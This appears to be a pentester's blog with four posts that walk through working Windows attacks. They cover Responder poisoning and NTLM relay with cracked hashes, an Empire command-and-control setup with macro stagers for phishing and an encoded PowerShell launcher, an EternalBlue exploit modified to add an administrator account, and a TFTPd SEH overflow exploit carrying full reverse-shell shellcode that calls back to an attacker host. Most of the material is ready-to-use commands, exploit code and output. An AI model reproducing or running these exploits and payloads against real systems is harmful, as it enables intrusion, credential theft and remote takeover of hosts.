Thursday, January 24, 2019

Windows Responder Attack


Background


LLMNR & NBT-NS relay attack is a common way to compromise a Windows host by capturing hashes for cracking or relaying it to another host for authentication.  This method is usually used when I  can't find critical vulns like MS17-010. SMB relay attacks also requires a Windows host to attempt to resolve a SMB share or connect to a Windows Auth mechanism which will in turn invoke a NBT broadcast to the attacker machine. The attacker is listening using a responder on common ports, waiting to capture the smb hashes. More info here and here.

From experience, relay attack  is usually a waiting game and of chance; you activate the responder to invoke/poison the network for LLMNR and NBT requests, at the same time, use a multi relayer like ntlmrelay.py to relay smb hash to a bunch of victim hosts. Next, is to wait and pray for a catch. In a large network, you are bound to get a bite in a matter of minutes.

Remember that smb signing must be turned off before this attack will work, so the best way is to run a fingerprint of the victim hosts first.

Enumeration Steps


On the attacker machine, run a responder to listen for incoming connections. Note: if you intend to use the responder-MultiRelay, edit /usr/share/responder/Responder.conf and disable:

SMB server
HTTP server

# responder -I eth0 -rwd

Successfull start of responder on attacker machine:

  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [OFF]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [172.16.6.11]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']




[+] Listening for events...


Once responder is running, it will auto save smb hashes into /usr/share/responder/logs/, the hashes here can be cracked using john or hashcat. But we would like to relay the hash to victim hosts to execute our evil deeds.  I couldn't get responder-MultiRelay to work so I am using ntlmrelay.py.

Firstly, comes the enumeration bit, I will identify hosts with smb signing turned off using this cmd:

# responder-RunFinger -i 172.16.16.0/24 -g > smb-hosts.txt

['172.16.16.64', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.63', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:26', Null Session: True, MS17-010: False]
['172.16.16.66', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.34', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.74', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.77', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.79', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.80', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:26', Null Session: True, MS17-010: False]
['172.16.16.71', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.70', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:26', Null Session: True, MS17-010: False]
['172.16.16.89', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.76', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]
['172.16.16.56', Os:'indows 7 Professional 7601 Service Pack 1', Domain:'xxx', Signing:'False', Time:'2019-01-24 13:58:25', Null Session: True, MS17-010: False]


With a bit of awk or cut or sed whichever you prefer, paste the ip addresses into a target file.

# cat smb-hosts.txt | grep False | cut -d \' -f2 > targets.txt

Multi Relay Attack


After formatting the targets, feed it into ntlmrelay.py.

# ntlmrelay.py -tf targets.txt -c whoami

Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] Setting up HTTP Server
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.20.241
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.20.241 as xxx\xxxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.27
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.21.27 as xxx\xxxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.28
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.26
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.21.28 as xxx\xxx SUCCEED
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.20.248
[*] Authenticating against smb://172.16.21.26 as xxx\xxxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.13
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.20.248 as xxx\xxx SUCCEED
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.16
[*] Authenticating against smb://172.16.21.13 as xxx\xxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.17
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.21.9 as xxx\xxxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Executed specified command on host: 172.16.21.17
nt authority\system

[*] Stopping service RemoteRegistry
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.0
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.21.0 as xxx\xxxx SUCCEED
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.3
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.20.253
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat


If ntlmrelay.py was successful, you should get command execution on the hosts, as you can see above, the whoami returned a result. From here, you can target the specific victim and directly invoke a meterpreter or Empire agent on the machine or any evil cmd:

# ntlmrelayx.py -t 172.16.21.17 -c dir

Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 172.16.4.24, attacking target smb://172.16.21.17
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Client requested path: /wpad.dat
[*] Authenticating against smb://172.16.21.17 as xxxx\xxxx SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Executed specified command on host: 172.16.21.17
 Volume in drive C has no label.
 Volume Serial Number is 806C-3558

 Directory of C:\Windows\system32

24/01/2019  01:27 PM    <DIR>          .
24/01/2019  01:27 PM    <DIR>          ..
21/11/2010  03:06 PM    <DIR>          0409
19/12/2007  06:40 AM             3,774 2hps.ico
30/07/2013  02:10 PM            21,824 accelerometerdll.DLL
21/11/2010  11:24 AM         3,745,792 accessibilitycpl.dll
14/07/2009  09:24 AM            39,424 ACCTRES.dll
14/07/2009  09:40 AM             9,216 acledit.dll
14/07/2009  09:40 AM           154,112 aclui.dll
................
.........................

Cracking Hash


If multi relay did not work for you, don't give up yet, you can always try cracking the hashes:

# cd /usr/share/responder/logs/
# ls
Analyzer-Session.log             Responder-Session.log              SMB-Relay-SMB-192.168.197.135.txt
Config-Responder.log             SMB-Relay-192.168.197.135.txt      SMBv2-NTLMv2-SSP-192.168.197.135.txt
HTTP-NTLMv2-192.168.197.135.txt  SMBRelay-Session.txt
Poisoners-Session.log            SMB-Relay-SMB-192.168.197.133.txt

Lets feed it into john:

# john SMB* -wordlist=/tmp/wordlist.txt
Using default input encoding: UTF-8
Loaded 10 password hashes with 10 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Remaining 8 password hashes with 8 different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxxxx      (user01)
xxxxxxxx      (user01)
xxxxxxxx      (user01)
xxxxxxxx      (user01)
xxxxxxxx      (user01)
xxxxxxxx      (user01)
xxxxxxxx      (user01)
qqqqqqqq      (Administrator)
8g 0:00:00:00 DONE (2019-01-23 15:25) 800.0g/s 100.0p/s 800.0c/s 800.0C/s xxxxxxx
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed


Summary

There you go folks, responder or multi relay attacks should be part of your pen-testing arsenal. So remember to try it in your next engagement exercise.



Thursday, December 6, 2018

Post Exploitation with Empire Powershell

Empire is a RAT(Remote Access Tool) that can be deployed after gaining a foothold on a Windows host. It contains many useful powershell modules such a mimikat, bypassuac, priv escalation, desktop screenshot, portscanner, etc. These modules are directly invoked into memory without touching the disk. Making it not only faster but slightly better at AV bypass. I say slightly because AV products are quick to evolve and most of it with sandboxing and heuristic capabilities are already aware of Empire's obfuscation techniques, even when running directly in memory. The advantage of Empire, you don't need to know a single line of powershell commands to use it. Everything is presented to you in a nice UI with tab completion. Similiar to Metasploit framework.

I've been playing around enough to familiarize myself with its core functionalities, exploring its different modules for post exploitation and trolling :-) I find Empire a great alternative to Metasploits' Meterpreter functions. Another notable feature of Empire is for spear phising attacks. Unfortuntely, I had not much luck obfuscating its payload as most AV products are able to detect it very easily. This was where I had to use crui0usJack/luckystrike to obfuscate the launcher code into innocent looking MS word & excel docs. I will cover luckystrike in my next post.

The first thing to understand about Empire are its components, firstly, there is a listener that is the  C&C server. Then, there is the launcher or stager which is the infectious code that is to be executed on the victim host(also known as agents).





The agents will connect back to the listener upon successful execution of the launcher or stager code. It support https if you specify the CertPath dir. You can use the cert creation utility in the setup directory to create a self signing cert or use the default one in data dir. Remeber to specify the CertPath if you intend to use HTTPS communication on your listener. In this case, CertPath should be data.

Installing Empire is pretty straight forward, so I am not going to cover it. The first step upon starting Empire is to create a listener:

(Empire) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----                  ------               ----                                    ------------   --------
  http                  http               http://192.168.43.29:80       5/0.0                   

(Empire: listeners) > uselistener http
(Empire: listeners) > set CertPath data
(Empire: listeners) > info

 Name              Required    Value                            Description
  ----                  --------       -------                            -----------
  SlackToken        False                                        Your SlackBot API token to communicate with your                                                                               Slack instance.
  ProxyCreds        False       default                      Proxy credentials ([domain\]username:password)                                                                                    to use for request (default, none, or other).
  KillDate             False                                         Date for the listener to exit (MM/dd/yyyy).
  Name                 True        http                               Name for the listener.
  Launcher            True        powershell -noP -sta -w 1 -enc   Launcher string.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  SlackChannel      False       #general                     The Slack channel or DM that notifications will                                                                                       be sent to.
  DefaultProfile    True        /admin/get.php,/news.php,/login/ Default communication profile for the                                                                                                      agent.
                                process.php|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Host              True        https://192.168.0.163:80          Hostname/IP for staging.
  CertPath          True     data                                           Certificate path for https listeners.
  DefaultJitter     True        0.0                                        Jitter in agent reachback interval (0.0-1.0).
  Proxy             False       default                                    Proxy to use for request (default, none, or                                                                                                 other).
  UserAgent         False       default                                User-agent string to use for the staging request                                                                                         (default, none, or other).
  StagingKey        True        xxxxxxxxx                         Staging key for initial agent negotiation.
  BindIP            True        0.0.0.0                                   The IP to bind to on the control server.
  Port              True        80                                             Port for the listener.
  ServerVersion     True        Microsoft-IIS/7.5             Server header for the control server.
  StagerURI         False                                                 URI for the stager. Must use /download/. Example: /download/stager.php


(Empire: listeners) > execute

Now that the listener is up and running, you can create the stager. Stagers are useful for phising attacks as the code can be easily embedded either as a .hta, .bat or macro into MS docs. Also worth to note that Empire supports python other than powershell.

(Empire: agents) > usestager windows/macro
(Empire: agents) > info
(Empire: stager/windows/macro) > set Listener http

  Name             Required    Value             Description
  ----                  --------        -------           -----------
  Listener         True                                  Listener to generate stager for.
  OutFile          False       /tmp/macro       File to output macro to, otherwise
                                                                 displayed on the screen.
  Obfuscate        False       False               Switch. Obfuscate the launcher
                                                                 powershell code, uses the
                                                                 ObfuscateCommand for obfuscation types.
                                                                 For powershell only.
  ObfuscateCommand False                     Token\All\1,Launcher\STDIN++\12467The Invoke-                                                                               Obfuscation command to use.
                                                                 Only used if Obfuscate switch is True.
                                                                 For powershell only.
  Language         True        powershell     Language of the stager to generate.
  ProxyCreds       False       default          Proxy credentials
                                                                ([domain\]username:password) to use for
                                                                request (default, none, or other).
  UserAgent        False       default          User-agent string to use for the staging
                                                                request (default, none, or other).
  Proxy            False       default              Proxy to use for request (default, none,
                                                                or other).
  StagerRetries    False       0                   Times for the stager to retry
                                                                connecting.

(Empire: stager/windows/macro) >

[*] Stager output written out to: /tmp/macro


Transfer the stager code into an MS Excel or Word file in the Macro section:



Remeber to save the file in Windows 97-2003 format and send the file to the victim after dressing it up.

If you intend to use Empire as a lateral movement tool, use the launcher instead. the launcher is a simple powershell command encoded in base64, that will first call back to the listener server and upon interaction, it will execute directly in memory invoking your evil deeds. It contains plenty of useful modules that can aid penetration testers and red teams to pivot to different victim hosts.

(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAGEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAG8AbgAuAE0AQQBqAG8AUgAgAC0AZwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAGYAXQAuAEEAUwBTAEUATQBiAEwAWQAuAEcAZQBUAFQAeQBQAGUAKAAnAF<snip>

(Empire: listeners) >

Now, upon compromising your victim hosts, run the launcher code in a command shell and it should call back to the listener, depending on the privilege that you had initially obtained

Once the agents have called back, you can begin to interact with it:

(Empire: listeners) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 5CXNH6SE ps 172.16.155.132  WIN-5JJL1Q0I52G   WIN-5JJL1Q0I52G\sr      powershell         1212   5/0.0    2018-10-28 14:57:50
 C3M5VPB2 ps 172.16.155.132  WIN-5JJL1Q0I52G   WIN-5JJL1Q0I52G\sr      powershell         5104   5/0.0    2018-10-28 14:57:50

(Empire: agents) >

(Empire: agents) > interact 5CXNH6SE


Empire commands support the tab completion, so if you are not sure, just press tab. I find the following modules very useful:

(Empire: 5CXNH6SE) > usemodule
Display all 204 possibilities? (y or n)
code_execution/invoke_dllinjection                                   persistence/elevated/wmi*
code_execution/invoke_metasploitpayload                              persistence/elevated/wmi_updater*
code_execution/invoke_ntsd                                           persistence/misc/add_netuser
code_execution/invoke_reflectivepeinjection                          persistence/misc/add_sid_history*
code_execution/invoke_shellcode                                      persistence/misc/debugger*
code_execution/invoke_shellcodemsil                                  persistence/misc/disable_machine_acct_change*
collection/ChromeDump                                                persistence/misc/get_ssps
collection/FoxDump                                                   persistence/misc/install_ssp*
collection/USBKeylogger*                                             persistence/misc/memssp*
collection/WebcamRecorder                                            persistence/misc/skeleton_key*
<snip>
<snip>

As mentioned, for phising attacks, most AV will pick up the execution of powershell commands even in memory. I suggest better obfuscation techniques, this is where luckystrike comes in handy.

Here is a video of Empire in action - Part One

Here is Part 2 of Empire in action, demonstrate the generation of stager code to be used in MS Office Word docs using macro:
 

Finale part demo of Empire functions such as download, shell exec, screendump, vnc and keylogger functions.

Tuesday, October 30, 2018

Exploiting MS17-010 EternalBlue Vulnerability

Here is a quick tip for you: If you are a Pentester that rely on Metasploit module exploit/windows/smb/ms17_010_psexec, you often get errors of missing named pipes when trying to own Windows 2003. If you have this problem, I recommend to run MS17-010/checker.py, if you have prbs running it, make sure you have MYSMB package in the same directory of checkery.py:

# python checker.py 192.168.102.31
Target OS: Windows Server 2003 R2 3790 Service Pack 1
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_OBJECT_NAME_NOT_FOUND
samr: Ok (32 bit)
netlogon: Ok (32 bit)
lsarpc: Ok (32 bit)
browser: Ok (32 bit)

If the named pipes are successfully identified, you can proceed to exploitation. As an alternative, You can opt for EBID: 43215 EternalBlue exploit. You will need to modify line no 916-918:

916         print('creating file c:\\pwned.txt on the target')
917         tid2 = smbConn.connectTree('C$')
918         fid2 = smbConn.createFile(tid2, '/pwned.txt')
919         smbConn.closeFile(tid2, fid2)

To:

916         print('creating user hacker on target')
917         tid2 = smbConn.connectTree('C$')
918         service_exec(conn, r'net user /add hacker mypassword123 && net localgroup administrators hacker /add') 
919         smbConn.closeFile(tid2, fid2)

Run the exploit:

# python 42315.py 192.168.102.31 samr
Target OS: Windows Server 2003 R2 3790 Service Pack 1
Using named pipe: samr
Groom packets
attempt controlling next transaction on x64
attempt controlling next transaction on x86
success controlling one transaction
Target is x86
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x87988d48
SESSION: 0xed4615c8
FLINK: 0x5bd48
InData: 0x5ae28
MID: 0xa
TRANS1: 0x58b50
TRANS2: 0x5ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xeecd9ed8
userAndGroupCount: 0x5
userAndGroupsAddr: 0xeecd9f78
overwriting token UserAndGroups
add user r00tpgp on the target
Opening SVCManager on 192.168.102.31.....
Creating service xHnm.....
Starting service xHnm.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service xHnm.....
Opening SVCManager on 192.168.102.31.....
Creating service Vdji.....
Starting service Vdji.....
SCMR SessionError: code: 0x41d - ERROR_SERVICE_REQUEST_TIMEOUT - The service did not respond to the start or control request in a timely fashion.
Removing service Vdji.....
Done

You can safely disregard the errors and rdp to the target ip addr with your new credentials :-) or you can opt to execute other creative cmd to gain remote execution or shell on the system. You should not have any problems exploiting Windows 2003 or below. Unfortunately, on Windows 2008 and beyond, you will need an smb account on the victim host to successfully pwn it. It seems that MS had made some changes to the SMB  named pipes that added a slight layer of complexity to the EternalBlue exploit.

It's been more than a year since this exploit was made public, but many organizations still fail to patch their systems. Making this exploit  very relevant when performing penetration testing or during red team engagements.

Note:

Another thing that you should know when popping shells using Metasploit; AV scanners can easily detect the payloads. So, if you wonder why your funky meterpreter, reverse/bind tcp shell or cmd exec are not working, you can blame AV. All the more reasons to use alternative exploits.

Wednesday, September 5, 2018

Fuzzing and BoF Engineering TFTPd

Intro

This BoF introduces the basics of jumping backwards using multi stage shellcodes. The 1st jump of 208 bytes is done using a directive EB D0, the 2nd stage shellcode is a little assemble code to take a long jump backwards. All these stages are padded by NOPs as illustrated below:



So basically, we are jumping back 2 times to reach a bigger user defined buffer that can fit out evil shellcode. Remember to adjust the buffer length/offset accordingly when you add the multistage shellcodes.

Fuzzing

1. Use spike to fuzz tftpd:
# vi tftp.spk
s_binary("0002");
s_string_variable("file.txt");
s_binary("00");
s_string_variable("netascascii");
s_binary("00");
sleep(1);

2. Start spike:
# /usr/bin/generic_send_udp 172.16.155.129 69 tftp.spk 0 0 5000

3. Attach tftpd.exe to Olly, start the debugger. Examine SEH overwrite. Spike will inform that overflow happen on the 1st variable, 'filename'.

4. Edit tftp-exp.py, use 'pattern_create.rb -l 5000':

#!/usr/bin/python
import socket
import sys
host = '172.16.155.129'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

filename = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa[5000 chars]...j28Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
mode = "netascii"
payload = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(payload, (host, port))

5a. Run the exploit agaisnt tftpd with olly attached. Upon crash, look for the SEH overwrite addr, run it agaisnt pattern_offset to find the offset length (eg 1232 or 1496 for w2003SP2).

5b. In Olly, check for safeSEH, Plugins->SafeSEH->Scan/SafeSEH. Only TFTPServer.exe does not have SafeSEH. Location of this exe is at 0040000, which is unusable bcoz is starts at 00.

6. Using the offset, mod the exploit to include the offset length (eg 1232 or 1496 for w2003SP2):

filename = "A"*1232 + "\x42\x42\x42\x42" + "C"*3764  # 5000 -1232 - 4 = 3764

Win2003SP2:

filename = "A" * 1496 + "\x4F\x48\x40" # + "\x43" * 3500

7. Restart Olly and reattach the process and run the exploit. In Olly, Click on "E", double click TFTPServerSP.exe, search for 'Seq of Command' (ctrl-s)......search for 'pop pop ret' address as return addr:
POP R32
POP R32
RET

Eg: Addr location is 0040F3B6 or 0040484F for W2003SP2

3 Byte EIP overwrite

8. Mod the exploit to include the return addr but omitt the last digit of the addr because 00(null byte) is not acceptable in our user defined buffer, the last 00 will be filled by  the tftp protocol:

filename = "A"*1232 + "\xB6\xF3\x40"  # or "\x4F\x48\x40" on W2003 SP2
..
..
payload = "\x00\x02" + filename + "\x00" + mode + "\x00"


9. Restart olly and attach tftpd process, set breakpoint at ret addr 0040F3B6 and rerun exploit. Access violation will occur, press shift f9 to go into the exception and land into the breakpoint. EIP should now be overwritten by the ret addr 00400F3B6 or 0040484F (Win2003SP4).

10. In the right lower pane(stack panel), the 3rd address from the top(pop pop ret), right click, follow in dump, you will fall at the end of the buffer with only 4 bytes of user defined buffer. Not ehough space for our evil deeds.

Short Negative Jump to 1st stage payload


11. Press f7, f7,f7(the pop pop ret) in the upper left panel to take the jumps until you reach the A(41),highlight the first 2 As, right click->Binary Edit, 'EB D0', to move up 46 bytes to the address space (eg 00C2FFAE or 0022FFB2 for W2003 SP2), place break point there (f2). Take the jump, f7, land on the "A"s.

Negative Jump to 2nd Stage payload


12. Compile 'phrack 62, article 7: Aaron Adams' shell code using nasm, the purpose of the shellcode is to take a long jump backwards into the user defined buffer:

vi jmp.bin
[BITS 32]

global _start
 _start:

# ;--- Taken from Phrack #62 Article 7 Originally written by Aaron Adams

# ;--- copy eip into ecx
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
# ;----------------------------------------------------------------------
dec ch;
dec ch;
jmp ecx;

nasm jmp.bin -o jmp
hexedit jmp

12a. mod the exploit, include the 1st stage payload and 2nd payload:

filename = "\xcc"*1128 + "\x90" * 83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 1232 - (83+17+4) = Add up the C(1128)+NOPs(83)+jumbackshell(17)+shortjumpback(4) = 1232

12b. If you are on w2003SP2:

filename = "\xcc" * 1445  + "\x90" * 30 +  "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\x4F\x48\x40" #Total offset is 1496, so 1445+30+17+4=1496

13. Restart olly and attach process, place breakpoint at 1st ret addr. run the exploit.



14. Shift-f9, land into pop pop ret, f7 3 times, land into the 1st(shortjump) and 2nd(longjumpshell) payload. Then finally into the final payload of CC.

Final Shellcode


15. Gen reverse shell, use backtrack5:

# msfpayload win32_reverse RHOST=192.168.102.53 RPORT=443 R | msfencode -b "\x00\x2f" -e ShikataGaNai

16. mod the exploit to include shellcode, minus the length of shellcode from the buffer:
#[*] Using Msf::Encoder::ShikataGaNai with final size of 314 bytes
buf = ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x15\xe0\x4d\x6a\x33\xc9\x5f\xb1\x49"
buf += "\x31\x57\x17\x83\xef\xfc\x03\x42\xf3\xaf\x9f\x90\x99\xc4\x2d\x80"
buf += "\xa7\xe4\x51\xaf\x38\x90\xc2\x6b\x9d\x2d\x5f\x4f\x56\x4d\x65\xd7"
buf += "\x69\x41\xee\x68\x72\x16\xae\x56\x83\xc3\x18\x1d\xb7\x98\x9a\xcf"
buf += "\x89\x5e\x05\xa3\x6e\x9e\x42\xbc\xaf\xd5\xa6\xc3\xed\x01\x4c\xf8"
buf += "\xa5\xf1\x85\x8b\xa0\x71\x8a\x57\x2a\x6d\x53\x1c\x20\x3a\x17\x7d"
buf += "\x25\xbd\xcc\x82\x79\x36\x9b\xe8\xa5\x54\xfd\x33\x94\xbf\x99\x38"
buf += "\x94\x0f\xe9\x7e\x17\xfb\x9d\x62\x8a\x70\x1d\x92\x8a\xee\x10\xec"
buf += "\x3c\x03\x7c\x0f\x96\xbd\x2e\x89\x7f\x71\xe3\x3d\xf7\x06\x31\xe2"
buf += "\xa3\x17\xe5\x74\x87\x05\xfa\xbf\x47\x29\xd5\xe0\xee\x30\xbc\x9f"
buf += "\x1c\xb2\x43\xca\xb4\xc1\xbc\x24\x20\x1f\x4b\x31\x1c\xc8\xb3\x6f"
buf += "\x0c\xa4\x18\xdc\xf0\x19\xdc\xb1\x09\x4d\x8a\xf5\x5e\x08\x7e\x93"
buf += "\xf6\xd4\x3b\x3d\x54\x5e\xda\x54\x32\x8c\xe4\xfc\xa3\x1b\xe8\xd6"
buf += "\x4e\xb4\x47\x83\x71\x64\x01\x41\xea\xe3\xa6\xf6\x9f\x81\x66\xa1"
buf += "\x76\x9a\x0e\xb6\xe3\x66\x98\xda\xc5\xa6\x69\xb0\xb3\xae\x73\x3a"
buf += "\xf9\x9d\x75\x80\xd2\x50\xf3\x3c\x80\xc0\xaf\x54\xa4\xe8\x03\xb2"
buf += "\xb7\x60\x4c\x45\x91\xd0\xdb\xeb\x4f\xb6\xb2\x61\x71\x69\x64\x20"
buf += "\x20\x76\x56\xa2\x6f\x51\x52\xfc\x23\x9d\x8b\x6a\x3b\x9e\x03\x95"
buf += "\x13\x09\x8b\x10\x52\xb3\xac\x97\x5e\xbb\x85\xa8\x28\xbf\xd5\x86"
buf += "\xbf\xcf\xa0\x22\x1f\x63\x4a\xfc\x60\x53"

filename = "\xcc"*600 + "\x90"*214 + buf + "\x90" *83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 600+214+314+83+17+4=1232 which is the original length of the offset

16a. In case you wish to pop a calc.exe instead:

msfvenom -p windows/exec cmd=calc.exe EXITFUNC=seh -e x86/shikata_ga_nai -b "\x00\x2f" -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf =  ""
buf += "\xbb\xf3\x84\xd0\x15\xdb\xdb\xd9\x74\x24\xf4\x5a\x29"
